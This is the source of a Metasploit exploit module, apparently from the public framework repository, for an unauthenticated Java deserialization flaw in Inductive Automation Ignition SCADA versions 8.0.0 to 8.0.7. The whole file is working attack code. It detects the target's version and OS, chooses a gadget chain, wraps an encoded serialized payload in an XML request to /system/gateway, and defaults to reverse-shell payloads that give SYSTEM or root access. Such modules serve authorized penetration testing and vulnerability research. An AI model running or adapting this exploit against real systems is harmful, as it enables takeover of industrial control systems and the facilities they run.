Path: blob/master/modules/exploits/multi/scada/inductive_ignition_rce.rb
32007 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::JavaDeserialization1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Inductive Automation Ignition Remote Code Execution',17'Description' => %q{18This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,19versions 8.0.0 to (and including) 8.0.7.20This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.21The default configuration is exploitable by an unauthenticated attacker, which can achieve22remote code execution as SYSTEM on a Windows installation and root on Linux.23The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +24Radek Domanski).25},26'License' => MSF_LICENSE,27'Author' => [28'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module29'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module30],31'References' => [32[ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],33[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],34[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],35[ 'CVE', '2020-10644'],36[ 'CVE', '2020-12004'],37[ 'ZDI', '20-685'],38[ 'ZDI', '20-686'],39],40'Privileged' => true,41'DefaultOptions' => {42'WfsDelay' => 1543},44'Targets' => [45[ 'Automatic', {} ],46[47'Windows',48{49'Platform' => 'win',50'DefaultOptions' =>51{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }52},53],54[55'Linux',56{57'Platform' => 'unix',58'Arch' => [ARCH_CMD],59'DefaultOptions' =>60{ 'PAYLOAD' => 'cmd/unix/reverse_python' }61},62]63],64'DisclosureDate' => '2020-06-11',65'DefaultTarget' => 0,66'Notes' => {67'Stability' => [ CRASH_SAFE ],68'SideEffects' => [ IOC_IN_LOGS ],69'Reliability' => [ REPEATABLE_SESSION ]70}71)72)73register_options(74[75Opt::RPORT(8088)76]77)78end7980def version_get81res = send_request_cgi({82'uri' => '/system/gwinfo',83'method' => 'GET'84})8586if res && res.code == 30287# try again, versions < 8 use a different URL88res = send_request_cgi({89'uri' => '/main/system/gwinfo',90'method' => 'GET'91})92end9394if res && res.code == 20095# Regexp to get the version of the server96version = res.body.match(/;Version=([0-9.]{3,});/)97if version98return version[1]99end100end101return ''102end103104def os_get105res = send_request_cgi({106'uri' => '/system/gwinfo',107'method' => 'GET'108})109if res && res.code == 200110# Regexp to get the OS111os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)112return os[1]113end114end115116def create_java_str(payload)117(118"\xac\xed" + # STREAM_MAGIC119"\x00\x05" + # STREAM_VERSION120"\x74" + # String object121[payload.length].pack('n') + # length122payload123).force_encoding('ascii') # is this needed in msf?124end125126def check127version = Rex::Version.new(version_get)128if version.segments.length < 3129fail_with(Failure::Unknown, 'Failed to obtain target version')130end131print_status("#{peer} - Detected version #{version}")132if version >= Rex::Version.new('8.0.0') && version <= Rex::Version.new('8.0.7')133return Exploit::CheckCode::Appears134else135return Exploit::CheckCode::Safe136end137end138139def pick_target140os = os_get141if os.include?('Windows')142return targets[1]143elsif os.include?('Linux')144return targets[2]145else146fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")147end148end149150def exploit151# Check if automatic target selection is set152if target.name == 'Automatic'153my_target = pick_target154else155my_target = target156end157print_status("#{peer} - Attacking #{my_target.name} target")158159# <version> is a CRC32 calculated by the server that we didn't want to reverse160# However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()161# (line 383 of gateway-8.0.7.jar)162# ... it will helpfully ignore the version if set to 0163data =164'<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\165'<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\166'<![CDATA['167168version = Rex::Version.new(version_get)169170if version171print_status("#{peer} - Detected version #{version}")172else173print_error("#{peer} - Target has an unknown version, this might not work...")174end175176# Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!177#178# An alternative to this would be GET /system/launchmf/D which will helpfully return179# a list of all the jars in the system, letting us pick the right gadget chain.180# However only 8.0.0 differs, so let's just have a special case for that.181if version == Rex::Version.new('8.0.0')182lib = 'CommonsCollections6'183else184lib = 'CommonsBeanutils1'185end186187java_payload = generate_java_deserialization_for_payload(lib, payload)188java_payload = Rex::Text.encode_base64(java_payload)189java_payload = create_java_str(java_payload)190java_payload = Rex::Text.encode_base64(java_payload)191data += java_payload192193data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'194195print_status("#{peer} - Sending payload...")196197res = send_request_cgi({198'uri' => '/system/gateway',199'method' => 'POST',200'data' => data201})202203if res&.body&.include?('Unable to load project diff.')204print_good("#{peer} - Success, shell incoming!")205else206print_error("#{peer} - Something is not right, try again?")207end208end209end210211212